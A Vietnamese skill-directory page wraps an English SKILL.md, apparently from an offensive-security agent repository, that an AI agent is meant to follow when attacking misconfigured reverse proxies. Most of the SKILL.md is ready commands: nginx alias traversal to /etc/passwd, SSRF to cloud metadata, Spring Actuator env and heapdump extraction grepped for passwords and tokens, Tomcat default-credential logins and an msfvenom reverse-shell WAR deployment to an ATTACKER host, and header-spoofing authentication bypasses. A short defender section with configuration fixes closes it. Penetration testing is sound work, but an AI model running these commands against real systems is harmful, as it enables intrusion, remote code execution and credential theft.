proxy-misconfig
Skill này làm gì
Skill này liệt kê các lỗi phổ biến trong reverse proxy và máy chủ web, như alias đường dẫn không an toàn và trang quản lý bị lộ. Dành cho người kiểm thử bảo mật rà soát cấu hình máy chủ.
Khi nào nên dùng
- ✓Khi một trang chạy sau nginx, Apache, Tomcat hoặc IIS và bạn muốn kiểm tra cấu hình của nó.
- ✓Khi một ứng dụng Spring Boot có thể để lộ các endpoint actuator.
- ✓Khi một rà soát bảo mật hỏi liệu trang quản lý hoặc thông tin đăng nhập mặc định có bị lộ không.
Liên kết skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/proxy-misconfig/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Bạn có thể kiểm tra xem ứng dụng Spring Boot của tôi có để lộ endpoint quản lý nội bộ nào không?”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Agent yêu cầu các đường dẫn đã biết của công cụ quản lý và quy tắc proxy, rồi kiểm tra xem máy chủ có trả về dữ liệu nội bộ như cài đặt hay tuyến đường không.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
Reverse Proxy Misconfigurations
1. Nginx alias traversal
Nginx alias directive (vs root) is dangerous when URL pattern is
prefix-based but alias is a directory:
location /static {
alias /var/www/static/; # trailing slash CRITICAL
}
# But buggy:
location /static {
alias /var/www/static; # NO trailing slash → path traversal possible
}
Bypass:
GET /static../etc/passwd → resolves to /var/www/static../etc/passwd → /var/www/etc/passwd (if exists)
GET /static../ → directory listing if autoindex on
2. Apache mod_rewrite SSRF
RewriteRule ^/proxy/(.*) http://$1 [P]
# Attacker:
GET /proxy/internal-host.local/admin → server makes outbound to internal
GET /proxy/169.254.169.254/latest/meta-data → AWS metadata SSRF
3. Spring Boot Actuator exposure
# Common endpoints if exposed
curl $TARGET/actuator
curl $TARGET/actuator/env # all env vars including secrets
curl $TARGET/actuator/heapdump # full memory dump (often contains tokens/passwords)
curl $TARGET/actuator/mappings # all routes
curl $TARGET/actuator/loggers # logging config
curl $TARGET/actuator/jolokia/ # JMX bridge → RCE in many configs
# Pre-2.x style
curl $TARGET/env
curl $TARGET/dump
curl $TARGET/trace
curl $TARGET/heapdump
4. Tomcat Manager
curl -u tomcat:tomcat $TARGET/manager/text/list
# Default creds:
# tomcat:tomcat, admin:admin, admin:tomcat, role1:role1
# tomcat:s3cret, manager:manager
# If logged in → upload WAR for RCE
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f war -o shell.war
curl -u admin:admin -T shell.war "$TARGET/manager/text/deploy?path=/shell"
curl "$TARGET/shell/" # triggers shell
5. IIS short-name disclosure (8.3 names)
# Probe via specific URL pattern + difference in error
curl -s -o /dev/null -w "%{http_code}\n" "$TARGET/A*~1*/"
# 400 if exists, 404 if not — leaks first chars of files/dirs
# Tool: shortscan, IIS_shortname_Scanner
6. Nginx merge_slashes off + URL encoded
GET /api//../../admin # if merge_slashes off, internal route mapping bypasses auth
GET /api/%2e%2e/admin # URL-encoded traversal
7. Header injection via X-Forwarded-*
Some apps trust X-Forwarded-For/X-Real-IP from reverse proxy and use
it for auth (admin from internal IP). If proxy doesn't strip incoming headers:
curl -H "X-Forwarded-For: 127.0.0.1" $TARGET/admin
curl -H "X-Real-IP: 10.0.0.1" $TARGET/admin
curl -H "X-Original-Forwarded-For: 192.168.1.1" $TARGET/admin
8. WebSocket Origin bypass via proxy
Proxy doesn't validate WebSocket Origin → attacker-origin can connect.
wscat -c "wss://target.com/ws" -H "Origin: https://evil.com"
9. HTTP/2 specific attacks
Some proxies have h2 → h1 downgrade bugs (smuggling). See
skills/exploit/web/smuggling.md.
10. Tools
- Nuclei templates for actuator/manager/admin discovery
- JFrog actuator scanner
- shortscan for IIS 8.3
- smuggler.py for h2 → h1
- trustedheaders for header injection
PoC pattern
# Spring Actuator
curl -s "$TARGET/actuator/env" | jq '.propertySources[] | .properties' | head
# Heap dump if accessible:
curl -s -o /tmp/heap.bin "$TARGET/actuator/heapdump"
strings /tmp/heap.bin | grep -iE 'password|token|secret|aws_access' | head
Severity
| Bug | Severity |
|---|---|
Actuator /env w/ secrets visible |
Critical 9.8 |
| Tomcat manager default-creds | Critical 9.8 (RCE) |
| Nginx alias → /etc/passwd | High 8.0 |
| Apache mod_rewrite SSRF → metadata | Critical 9.0 |
| IIS short-name disclosure | Medium 4-5 |
| X-Forwarded-For trust → admin | Critical 9.8 |
Defender
# nginx — always trailing slash on alias
location /static/ {
alias /var/www/static/;
}
# Strip X-Forwarded-* from client
real_ip_header X-Forwarded-For;
set_real_ip_from 10.0.0.0/8; # only trust internal
real_ip_recursive on;
Spring Boot:
management:
endpoints:
web:
exposure:
include: health, info # never *
endpoint:
env:
enabled: false
heapdump:
enabled: false
Cross-references
- Upstream:
skills/_corpus/payloads/Reverse Proxy Misconfigurations/+Insecure Management Interface/ - SSRF chain:
skills/exploit/web/ssrf.md - HTTP smuggling:
skills/exploit/web/smuggling.md
Câu hỏi thường gặp
Rủi ro actuator là gì?
Skill cho biết các endpoint actuator của Spring Boot nếu bị lộ có thể hiển thị cài đặt môi trường, các tuyến đường và đôi khi cả bản dump bộ nhớ.
Nó có bao gồm Tomcat không?
Có. Nó bao gồm trang quản lý của Tomcat và các thông tin đăng nhập mặc định của nó.
Nó có bao gồm IIS không?
Có. Nó nhắc đến việc lộ tên ngắn (short-name) của IIS.
Chi tiết
Mô tả gốc của tác giả
Reverse proxy misconfigurations — nginx alias traversal, Apache mod_rewrite SSRF, Spring Boot Actuator exposure, Tomcat manager, IIS short-name disclosure.
Độ phổ biến
- Sao GitHub
- 6.5k
- Vị trí xếp hạng
- #14076
- Giấy phép
- Apache-2.0
- Cập nhật
- 1/11/2026
Bình luận
- …
Thêm skill từ kho mã này
detector-overview
6.5kGiúp agent của bạn đọc code mà một công cụ quét đã đánh dấu, rồi quyết định điểm nào là lỗ hổng bảo mật thật và điểm nào là báo động giả.
exploiter-overview
6.5kGiúp agent của bạn ghép nhiều lỗ hổng bảo mật đã xác nhận thành một chuỗi kiểm thử và kiểm tra chuỗi đó có thể gây hậu quả đến đâu.
llm-redteam-overview
6.5kGiúp agent của bạn tìm đúng hướng dẫn red-team AI cho một bài kiểm thử, bao quát 15 nhóm chiến thuật từ prompt injection đến lạm dụng mô hình.
aatmf-t01-prompt-injection
6.5kGiải thích prompt injection, khi các chỉ dẫn ẩn cố ghi đè một hệ thống AI, để chuyên gia bảo mật có thể kiểm tra lỗi này.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.